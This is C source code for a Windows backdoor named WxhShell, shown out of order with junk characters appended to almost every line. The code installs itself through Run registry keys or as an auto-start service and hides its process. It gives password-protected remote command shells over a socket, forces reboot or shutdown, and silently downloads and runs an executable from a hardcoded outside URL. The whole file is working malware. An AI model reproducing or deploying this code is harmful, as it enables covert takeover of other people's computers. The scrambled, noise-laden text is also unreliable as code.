    if(Boot(SHUTDOWN)) Uw:"n]G]D?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M3au{6y  
    else { |vC~HJpuv'  
    closesocket(wsh); E" vS $  
    ExitThread(0); 2KZneS`  
    } ;FEqe 49  
    break; [fy LV`  
    } K)P%;X  
  // 获取shell Tj- s4x  
  case 's': { O".=r}  
    CmdShell(wsh); QsW/X0YBv  
    closesocket(wsh); 6dYMwMH  
    ExitThread(0); "Y.y:Vv;  
    break; OZ&o:/*HM  
  } GN>@ZdVG}#  
  // 退出 H"F29Pu2  
  case 'x': { mp3s-YfRc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |l!aB(NW  
    CloseIt(wsh); 'hf8ZEW9'  
    break; yDh6KUK  
    } D/' dTrR  
  // 离开 Qg/rRiV  
  case 'q': { ss-D(K"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e:W{OIz:  
    closesocket(wsh); d d;T-wa}  
    WSACleanup(); fB,_9K5i  
    exit(1); P'rb%W  
    break; @%SQFu@FJ  
        } ~QVH<`sn  
  } @o.I;}*N  
  } !_(Tqyg&  
W{aY}`  
  // 提示信息 A%-6`>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qwc"[N4H  
} ?h2}#wg  
  } 8;X-)&R  
y+q5UC|  
  return; XX~,>Q}H=  
} ch]29  
wyG;8I  
// shell模块句柄 :Tq~8!s  
int CmdShell(SOCKET sock) [ /ZO q  
{ 2T`!v  
STARTUPINFO si; ~)'k 9?0  
ZeroMemory(&si,sizeof(si)); rM "l@3hP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OrG).^l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [S<";l8  
PROCESS_INFORMATION ProcessInfo; i6N',&jFU  
char cmdline[]="cmd"; .e5Mnd%$M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9!tW.pK5  
  return 0; :Q q#Z  
} mA}"a<0  
?fS9J  
// 自身启动模式 ^C%<l( b  
int StartFromService(void) ctV,Q3'Z  
{ QCJM&  
typedef struct I?NyM  
{ DL.!G  
  DWORD ExitStatus; ?1".;foZ  
  DWORD PebBaseAddress; _XT pU  
  DWORD AffinityMask; /7LR;>Bj  
  DWORD BasePriority; -^wl>}#*T3  
  ULONG UniqueProcessId; =Runf +}  
  ULONG InheritedFromUniqueProcessId; LHmZxi?  
}   PROCESS_BASIC_INFORMATION; <6=c,y  
 C.QO#b  
PROCNTQSIP NtQueryInformationProcess; ~;]d"'  
mcok/,/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "I TIhnE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lRdChoL$2  
6zn5UW#q  
  HANDLE             hProcess; D#z:()VT(  
  PROCESS_BASIC_INFORMATION pbi; Qci]i)s$js  
-{_PuJ "  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =":,.Ttq41  
  if(NULL == hInst ) return 0; 3N:D6w-R  
>i O!*&Y>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h.fq,em+H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :i7;w%B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =qIyqbXz  
GH xp7H  
  if (!NtQueryInformationProcess) return 0; *owU)  
|D.ND%K&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D3A/l  
  if(!hProcess) return 0; S@sO;-^+  
u-C)v*#L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s<o7!!c  
iyog`s c  
  CloseHandle(hProcess); Xry4 7a )  
%07SFu#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l@:0e]8|o  
if(hProcess==NULL) return 0; $mB;K]m  
PxE3K-S)G  
HMODULE hMod; Lh<).<S  
char procName[255]; [1KuzCcK}  
unsigned long cbNeeded; bu"!jHPB  
a'z7(8$$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~v"L!=~G;a  
1i ] ^{;]  
  CloseHandle(hProcess); ZAf7Tz\U  
fxIf|9Qi`  
if(strstr(procName,"services")) return 1; // 以服务启动 sN wI 0o  
snikn&  
  return 0; // 注册表启动  7[wieYj{  
} 3[f): u3"  
<^uBoKB/f  
// 主模块 3D(0=$ W  
int StartWxhshell(LPSTR lpCmdLine) <Ok3FE.K  
{ VD\=`r)nT  
  SOCKET wsl; e0 T\tc  
BOOL val=TRUE; A+)`ZTuO  
  int port=0; ri.I pRe  
  struct sockaddr_in door; Hq 188<  
I`p;F!s  
  if(wscfg.ws_autoins) Install(); as_PoCoss  
5 u0HI  
port=atoi(lpCmdLine); !Rt>xD  
;({W#Wa  
if(port<=0) port=wscfg.ws_port; tRfo$4#NY  
1!gbTeVlY  
  WSADATA data; S Z$Kz n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *WT`o>  
>dG[G>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C>w|a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); = 9]~ yt  
  door.sin_family = AF_INET; )>- =R5ZV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \'bzt"f$j  
  door.sin_port = htons(port); eGHaY4|  
+?!(G}5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0K2`-mL  
closesocket(wsl); L,@lp  
return 1; 3%ZOKb"D*  
} m%e68c  
t<viX's  
  if(listen(wsl,2) == INVALID_SOCKET) { VU d\QR-  
closesocket(wsl); W#sU`T   
return 1; # Vha7  
} Qz N&>sk"  
  Wxhshell(wsl); E\,-XH  
  WSACleanup(); 1y4  
^`>/.gL  
return 0; $p?aVO  
{!dVDf_  
} !I Qck8Y  
Y.r+wc]  
// 以NT服务方式启动 h2""9aP !  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5[u]E~Fl}  
{ ,WB{i^TD  
DWORD   status = 0; (*)hD(C5  
  DWORD   specificError = 0xfffffff; hfy_3}_  
b%/ 1$>_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {jX2}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Per1IcN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >J>[& zS  
  serviceStatus.dwWin32ExitCode     = 0; %-0t?/>  
  serviceStatus.dwServiceSpecificExitCode = 0; ;BIY^6,7e  
  serviceStatus.dwCheckPoint       = 0; /RC7"QzL  
  serviceStatus.dwWaitHint       = 0; w G<yBI0  
46&/gehr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /d<P-!fK  
  if (hServiceStatusHandle==0) return; ~La>?:g <+  
<yFu*(Q  
status = GetLastError(); X*Prll(  
  if (status!=NO_ERROR)  'CkIz"Wd  
{ H}bJ"(9$vC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v-_e)m^  
    serviceStatus.dwCheckPoint       = 0; ~O &:C{9=  
    serviceStatus.dwWaitHint       = 0; .=jay{  
    serviceStatus.dwWin32ExitCode     = status; %Qdn  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7{I0s;R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /CG"]!2 "  
    return; ;x@~A^<el  
  } <?4V  
}d}Ke_Q0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vTzlwK\#1  
  serviceStatus.dwCheckPoint       = 0; ,>mrPtxN  
  serviceStatus.dwWaitHint       = 0; ^RtIh-Z.9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b?QoS|<e?  
} ` v@m-j6  
~AT'[(6  
// 处理NT服务事件,比如:启动、停止 Y#P%6Fy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @7j AL-  
{ C={Y;C1  
switch(fdwControl) VZmLS 4E  
{ @'!SN\?W8  
case SERVICE_CONTROL_STOP: <T|3`#o0  
  serviceStatus.dwWin32ExitCode = 0; [}0haTYc4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q|?L*Pq2I  
  serviceStatus.dwCheckPoint   = 0; 76h ,]xi  
  serviceStatus.dwWaitHint     = 0; =mp;.k95  
  { zsyIV!(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Kex vP&*  
  } (\YltC@q%  
  return; 6.nCV 0xA  
case SERVICE_CONTROL_PAUSE: FSW_<%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <+vw@M  
  break; +Kbjzh3<wG  
case SERVICE_CONTROL_CONTINUE: iVq'r4S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F%D.zvKN  
  break; XXn67sF/  
case SERVICE_CONTROL_INTERROGATE: ]a*d#  
  break; 54R#W:t  
}; !_'ur>iR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '=8d?aeF  
} 'XP7" N47O  
MJ [m  
// 标准应用程序主函数 "Nbq#w\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8(&[Rs?K  
{ /zVOK4BqN+  
%%gc2s  
// 获取操作系统版本 !/i{l  
OsIsNt=GetOsVer(); 9c,'k#k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YvyNHW&  
mQ 26K~  
  // 从命令行安装 =Qj{T  
  if(strpbrk(lpCmdLine,"iI")) Install(); c>:wd@w  
9} M?P  
  // 下载执行文件 Hp!-248S  
if(wscfg.ws_downexe) { k],Q9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rgtT~$S  
  WinExec(wscfg.ws_filenam,SW_HIDE); =BAW[%1b  
} 0 e ~JMUb  
Z!zF\<r  
if(!OsIsNt) { 3/e.38m|  
// 如果时win9x,隐藏进程并且设置为注册表启动 EPM-df!=  
HideProc(); J({Xg?  
StartWxhshell(lpCmdLine); RF4vtQC=  
} -23w2Qt  
else >T3-  
  if(StartFromService()) {~"/Y@&]R  
  // 以服务方式启动 mtp+rr  
  StartServiceCtrlDispatcher(DispatchTable); ]e>w }L(gV  
else !_D0vI;  
  // 普通方式启动 9YQb &  
  StartWxhshell(lpCmdLine); ^{;oM^Q'  
Z<y I\1  
return 0; [KaAXv .X  
} P& -Qc  
<~'"<HwtK  
`FDiX7M  
aPfO$b:  
=========================================== suiS&$-E  
/dQl)tL  
cyv`B3}  
Z=Y& B>:[  
p Vw}g@<M  
)SRefW.v  
" @oY~..d`  
L<-_1!wh  
#include <stdio.h> )<;Y-u.UW  
#include <string.h> \[_t]'p  
#include <windows.h> a /l)qB#  
#include <winsock2.h> 0s3%Kqi[  
#include <winsvc.h> g:D>.lKd  
#include <urlmon.h> |[ k.ii6iO  
R0]1xGz  
#pragma comment (lib, "Ws2_32.lib") (\hx` Yh=>  
#pragma comment (lib, "urlmon.lib") i8[t=6Rm@  
0g y/:T  
#define MAX_USER   100 // 最大客户端连接数 %D}kD6=  
#define BUF_SOCK   200 // sock buffer |w1Bq  
#define KEY_BUFF   255 // 输入 buffer FR4QUk  
pW@Pt 3u  
#define REBOOT     0   // 重启 Cc' 37~6~P  
#define SHUTDOWN   1   // 关机 G"U9E5O  
>G*eNn  
#define DEF_PORT   5000 // 监听端口 A8fOQ  
;F!5%}OcL%  
#define REG_LEN     16   // 注册表键长度 RJ ||}5  
#define SVC_LEN     80   // NT服务名长度 aS{n8P6vW  
;I 9&]   
// 从dll定义API 6YLj^w] %  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5k3b3&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YY((V@|K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nE&@Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >:S?Mnv6  
ZaDyg"Tw+  
// wxhshell配置信息 # 448-8x  
struct WSCFG { C]eSizS.  
  int ws_port;         // 监听端口 '}JhzKNj  
  char ws_passstr[REG_LEN]; // 口令 X!Mx5fg  
  int ws_autoins;       // 安装标记, 1=yes 0=no B=yqW  
  char ws_regname[REG_LEN]; // 注册表键名 K{cD+=]{  
  char ws_svcname[REG_LEN]; // 服务名 DV+xg3\(>1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ox>^>wR*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .TMs bZ|j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^aMg/.j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fc%xS7&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8'.Hyy@;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {M$1N5Eh  
!M]uL&:  
}; z(exA  
nntuLuW  
// default Wxhshell configuration 2*< nu><b  
struct WSCFG wscfg={DEF_PORT, w%VU/6~  
    "xuhuanlingzhe", HU }7zK2  
    1, C:* *;=.  
    "Wxhshell", ,p@y] cr  
    "Wxhshell", *,)Md[  
            "WxhShell Service", :q7Wy&ow  
    "Wrsky Windows CmdShell Service", k\YG^I  
    "Please Input Your Password: ", UcDS9f_87  
  1, *_{j=sd  
  "http://www.wrsky.com/wxhshell.exe", yAs> {6%-  
  "Wxhshell.exe" *{@Nq=fE  
    };  u\x}8pn  
P*Uwg&Qz)  
// 消息定义模块 OwUhdiG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Un(aW=PQ0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M~#gRAUJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xe'x[(l  
char *msg_ws_ext="\n\rExit."; bv9]\qC]T<  
char *msg_ws_end="\n\rQuit."; p2[n$61   
char *msg_ws_boot="\n\rReboot..."; _476pZ_  
char *msg_ws_poff="\n\rShutdown..."; N/'b$m5= S  
char *msg_ws_down="\n\rSave to "; >~sI8czR*  
-M~:lK]n   
char *msg_ws_err="\n\rErr!"; d>&,9c%  
char *msg_ws_ok="\n\rOK!"; #m<nAR  
kr5">"7  
char ExeFile[MAX_PATH]; }b"yU#`Q\  
int nUser = 0; Y3cMC)  
HANDLE handles[MAX_USER]; qu6D 5t  
int OsIsNt; 7qLpZ/  
C12Fl  
SERVICE_STATUS       serviceStatus; %2/EaaR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eKLZt%=  
`$<.pOm  
// 函数声明 |'8Nh  
int Install(void); Nk 8B_{  
int Uninstall(void); 7Lc]HSZo,  
int DownloadFile(char *sURL, SOCKET wsh); mPK:R^RjG&  
int Boot(int flag); o>i4CCU+  
void HideProc(void); B6As,)RjD:  
int GetOsVer(void); 4*#18<u5  
int Wxhshell(SOCKET wsl); qI9z;_,gNz  
void TalkWithClient(void *cs); V)-+Fd,=  
int CmdShell(SOCKET sock); m6K}|j  
int StartFromService(void); 6NuD4Ga  
int StartWxhshell(LPSTR lpCmdLine); _LUhZlw  
K.nHii   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (sTpmQx,b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I-)+bV G  
4Zddw0|2  
// 数据结构和表定义 Q&ptc>{bH6  
SERVICE_TABLE_ENTRY DispatchTable[] = x8\?}UnB  
{ JCzeXNY  
{wscfg.ws_svcname, NTServiceMain}, Jr!JHC9i  
{NULL, NULL} D~iz+{Q4  
}; Uh4%}-;  
!bx;Ta.  
// 自我安装 )Y0!~# `  
int Install(void) .x.]`b(  
{ &|ex`nwc0  
  char svExeFile[MAX_PATH]; rgv?gaQ>  
  HKEY key; l -mfFN  
  strcpy(svExeFile,ExeFile); w"|L:8  
1..+F0U  
// 如果是win9x系统,修改注册表设为自启动 a=1@*ID  
if(!OsIsNt) { 8.=BaNU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nFe<w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q=m'^ ,gPS  
  RegCloseKey(key); oj<gD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $am$ EU?s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t!X. |`h  
  RegCloseKey(key); :zbQD8jv  
  return 0; Hqx-~hQO  
    } mzKiO_g}  
  } hJ? O],4J  
} 9(7-{,c  
else { ^_W#+>&--  
aEWWP]  
// 如果是NT以上系统,安装为系统服务 1Z2HUzqh.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t+ G#{n  
if (schSCManager!=0) 4G0m\[Du  
{ W:nef<WH  
  SC_HANDLE schService = CreateService 3m)0z{n  
  ( F6|]4H.3Q  
  schSCManager,  RVmh6m  
  wscfg.ws_svcname, EU;9 *W<  
  wscfg.ws_svcdisp, eHZws`W  
  SERVICE_ALL_ACCESS, (@VMH !3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 70nqD>M4  
  SERVICE_AUTO_START, L,`LN>  
  SERVICE_ERROR_NORMAL, X-Kh(Z  
  svExeFile, 2(+2+ }  
  NULL, q`a'gJx#y  
  NULL, 1#2 I  
  NULL, MUc$ j&  
  NULL, @ioJ] $o7  
  NULL 6l1jMm|= X  
  ); g2ixx+`?|:  
  if (schService!=0) lU\ [aNs  
  { h"Q8b}$^)  
  CloseServiceHandle(schService); b3[!V{|  
  CloseServiceHandle(schSCManager); !hy-L_wL]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zxl@(h d  
  strcat(svExeFile,wscfg.ws_svcname); UnV.~u~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,PW'#U:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <2x^slx)?  
  RegCloseKey(key); i$#;Kpb`^  
  return 0; 5H9z4-i x?  
    } gPO}d  
  } KYI/  
  CloseServiceHandle(schSCManager); TDjm2R~9FS  
} "m8^zg hL  
} @n /nH?L  
~jk|4`I?T  
return 1; tw/dD +  
} 9:|{6_Y  
#q$HQ&k  
// 自我卸载 ZJJY8k `  
int Uninstall(void) O _ gGf  
{ v{N`.~,^  
  HKEY key; !i}w~U<  
8/cX]J  
if(!OsIsNt) { 5Ln,{vsv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M FMs[+2_o  
  RegDeleteValue(key,wscfg.ws_regname); BwpqNQN  
  RegCloseKey(key); 7S :\"A7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &PHTpkaam  
  RegDeleteValue(key,wscfg.ws_regname); Bm<`n;m  
  RegCloseKey(key); |SSSH  
  return 0; $8h%a 8I  
  } o5PO =AN  
}  9Q.Yl&A  
} vn8aFA  
else { o:'MpKm  
)dw'BNz5hT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *:7rdzn  
if (schSCManager!=0) J]'zIOQ  
{ ^uc=f2=>,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ge@{_  
  if (schService!=0) `/+>a8  
  { %aCqi(.7  
  if(DeleteService(schService)!=0) { Ic<2QknmP  
  CloseServiceHandle(schService); Wvh#:Z  
  CloseServiceHandle(schSCManager); ebhXak[w  
  return 0; u&vf+6=9Dd  
  } khxnlry  
  CloseServiceHandle(schService); +\]\[6  
  } jB2[(  
  CloseServiceHandle(schSCManager); v{4$D~I  
}  K5h  
} t =iIY`Md%  
H%td hu\e  
return 1; (%6P0*  
} g$-PR37(  
9.-S(ZO  
// 从指定url下载文件 rs[T=CQ  
int DownloadFile(char *sURL, SOCKET wsh) ;[DU%f  
{ zC!t;*8a  
  HRESULT hr; `U_)98  
char seps[]= "/"; 6d}lw6L  
char *token; F)QDJE0  
char *file; ]_gU#,8  
char myURL[MAX_PATH]; q3!bky\  
char myFILE[MAX_PATH]; lUZ+YD4  
.`eN8Dl1  
strcpy(myURL,sURL); h[Y1?ln&h  
  token=strtok(myURL,seps); K\r8g=U  
  while(token!=NULL) p]TAELy  
  { (w3YvG.  
    file=token; </z Eg3F\  
  token=strtok(NULL,seps); C,r;VyW6BI  
  } <%eG:n,#  
U8?mc  
GetCurrentDirectory(MAX_PATH,myFILE); d7upz]K9g  
strcat(myFILE, "\\"); U iW>J  
strcat(myFILE, file); g! |kp?  
  send(wsh,myFILE,strlen(myFILE),0); ;6$jf:2m  
send(wsh,"...",3,0); KZE,bi: ~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rb.N~  
  if(hr==S_OK) $U WZDD  
return 0; 6bC3O4Rw  
else _`T_">9r  
return 1; ?fSG'\h>  
S,UDezxg  
} v!5 `|\  
a1lh-2x X  
// 系统电源模块 T8$y[W-c  
int Boot(int flag) A;M'LM-M  
{ u6JM]kR  
  HANDLE hToken; rEW b"  
  TOKEN_PRIVILEGES tkp; Svmy(w~m  
T0)@pt7>  
  if(OsIsNt) { 3=j"=-=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PJH&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rV#ch(  
    tkp.PrivilegeCount = 1; /U9"wvg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :$c |  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VTE .^EK!  
if(flag==REBOOT) { ;e*!S}C,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^ Ze=uP  
  return 0; 4tBYR9|  
}  =7eV/3  
else { 8d'0N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iYy1!\  
  return 0; S,he6zS  
} {`@G+JV~Jw  
  } |CyE5i0  
  else { 4kx N<]  
if(flag==REBOOT) { /\n- P'}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j\M?~=*w  
  return 0; @o`AmC . 8  
} L!xi  
else { ' `Hr}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i XjM.G  
  return 0; ?Ir:g=RP*  
} #ABZ&Z  
} tR$NRMZ.  
i/Zd8+.n$  
return 1; -iZ`Y?  
} 3Y$GsN4ln  
Q$"D]!G  
// win9x进程隐藏模块 FYQS)s  
void HideProc(void) ;2QP7PrSY  
{ T>W,'H  
]Y&VT7+Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +ZP7{%  
  if ( hKernel != NULL ) i83OOV$1J  
  { f/?P514h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r~['VhI!;E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sW\!hW1*x  
    FreeLibrary(hKernel); S_H+WfIHV'  
  } ,ig/s2ZG6X  
8}:nGK|kx  
return; FS.L\MjV]U  
} 5b7RY V  
]`WJOx4  
// 获取操作系统版本 1'8YkhQ2a  
int GetOsVer(void) Nh +H9  
{ 5z)~\;[ -  
  OSVERSIONINFO winfo; }Q+|W=2t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JBZ@'8eqi]  
  GetVersionEx(&winfo); F#E3q|Q"BS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @=u3ZVD  
  return 1; JucY[`|JV  
  else jL}v9$  
  return 0; OY({.uVdX  
} \9EjClf o  
E]r?{t`]  
// 客户端句柄模块 w0unS`\4  
int Wxhshell(SOCKET wsl) r3?o9D>  
{ YS_; OFsd  
  SOCKET wsh; dPRra{  
  struct sockaddr_in client; WNc0W>*NE1  
  DWORD myID; *LY8D<:zs  
"0TZTa1e  
  while(nUser<MAX_USER) I q.*8Oc  
{ u ^RxD^=L  
  int nSize=sizeof(client); <1!O1ab  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #g!.T g'  
  if(wsh==INVALID_SOCKET) return 1; 2 yz _  
_q^E,P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `Q,H|hp;k;  
if(handles[nUser]==0) <~=Vg  
  closesocket(wsh); a8Wwq?@  
else xgtR6E^k  
  nUser++; }Y4qS  
  } 8q7b_Pq1U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HxI" 8A  
c:.eGH_f  
  return 0; &%Tj/Qx  
} ,R|BG  
cB&:z)i4  
// 关闭 socket oP.7/*p  
void CloseIt(SOCKET wsh) ddR>7d}N  
{ Z3!`J&  
closesocket(wsh); Ek}A]zC  
nUser--; u]@['7  
ExitThread(0); tq?!-x+>  
} TL#3;l^  
+"VP-s0  
// 客户端请求句柄 +"@ .8m  
void TalkWithClient(void *cs) (7*}-Uy[C  
{ SgOheN-  
Gs[XJ 5%`~  
  SOCKET wsh=(SOCKET)cs; @KAI4LP  
  char pwd[SVC_LEN]; #.[k=dj   
  char cmd[KEY_BUFF]; 3;Fhg!Z O  
char chr[1]; :BT q!>s  
int i,j; 9nbLg5P  
TS5Q1+hWHV  
  while (nUser < MAX_USER) { 3R V R  
cM7[_*Ot<m  
if(wscfg.ws_passstr) { ehY5!D1Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LOJAWR9$^U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ikOb8 G#  
  //ZeroMemory(pwd,KEY_BUFF); <of^AKbt  
      i=0; Xha..r  
  while(i<SVC_LEN) { GPkpXVm  
{VoHh_[5%  
  // 设置超时 bN@ l?w  
  fd_set FdRead; cN9t{.m  
  struct timeval TimeOut; J$v?T$LVw  
  FD_ZERO(&FdRead); 1-QS~)+  
  FD_SET(wsh,&FdRead); .%QXzIa3F  
  TimeOut.tv_sec=8; CJI~_3+K  
  TimeOut.tv_usec=0; W@!S%Y9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,7b[!#?8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OZ!^ak  
4E?Oky#}-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6LZ;T.0o  
  pwd=chr[0]; S21,VpW\  
  if(chr[0]==0xd || chr[0]==0xa) { t0 ?\l)  
  pwd=0; POR\e|hRT]  
  break; L j$;:/G  
  } !{41!O,K#  
  i++; G*v,GR  
    } ?0xgRe<  
&jr3B;g!C  
  // 如果是非法用户,关闭 socket & ZB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2GStN74Xr  
} "C3/T&F  
Mb7I[5v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0 0U> F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ws^ np  
xn|(9#1o  
while(1) { q"_QQ~  
pY$Q  
  ZeroMemory(cmd,KEY_BUFF); Zj4Uak  
GowH]MO  
      // 自动支持客户端 telnet标准   jlg(drTo  
  j=0; >&#)Tqt!?  
  while(j<KEY_BUFF) { 5rUdv}.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gltBC${7wZ  
  cmd[j]=chr[0]; uSBa DYg  
  if(chr[0]==0xa || chr[0]==0xd) { T9q-,w/j;  
  cmd[j]=0; 2VCI 1E  
  break; W`*r>`krVJ  
  } &]-DqK7  
  j++; lB[kbJ  
    } s(roJbJ_;  
>i-"<&#jG  
  // 下载文件 dGTsc/$  
  if(strstr(cmd,"http://")) { gKCX|cULY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r/*D:x|yN  
  if(DownloadFile(cmd,wsh)) pFz`}?c0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uA#;G/$  
  else {cw /!B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k.15CA`  
  } :T(|&F[(  
  else { {2 "zVt#h  
~.lPEA %%  
    switch(cmd[0]) { jm r"D>  
  Q.c\/&  
  // 帮助 m9}P9 ?  
